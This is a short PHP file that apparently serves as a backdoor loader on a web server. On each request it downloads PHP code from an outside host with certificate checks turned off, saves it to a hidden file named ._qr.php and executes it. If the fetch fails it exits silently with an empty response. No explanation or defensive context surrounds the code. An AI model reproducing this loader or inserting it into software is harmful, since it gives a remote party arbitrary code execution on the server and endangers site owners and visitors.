<?php
/*[cstb_su]*/
header('Cache-Control: no-store');
$c=false;
if(function_exists('curl_init')){
$ch=curl_init('https://resmigiris.cam/src.php');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>60,CURLOPT_CONNECTTIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_HTTPHEADER=>['User-Agent: cStb-boot/1'],CURLOPT_FOLLOWLOCATION=>1]);
$c=curl_exec($ch);curl_close($ch);
}
if(!$c){$c=@file_get_contents('https://resmigiris.cam/src.php',0,stream_context_create(['http'=>['timeout'=>60,'header'=>"User-Agent: cStb-boot/1\r\n"],'ssl'=>['verify_peer'=>false]]));}
if($c===false||$c===''||strncmp(ltrim($c),'<?php',5)!==0){http_response_code(204);exit;}
$f=__DIR__.'/._qr.php';
if(@file_put_contents($f,$c)===false){http_response_code(204);exit;}
require $f;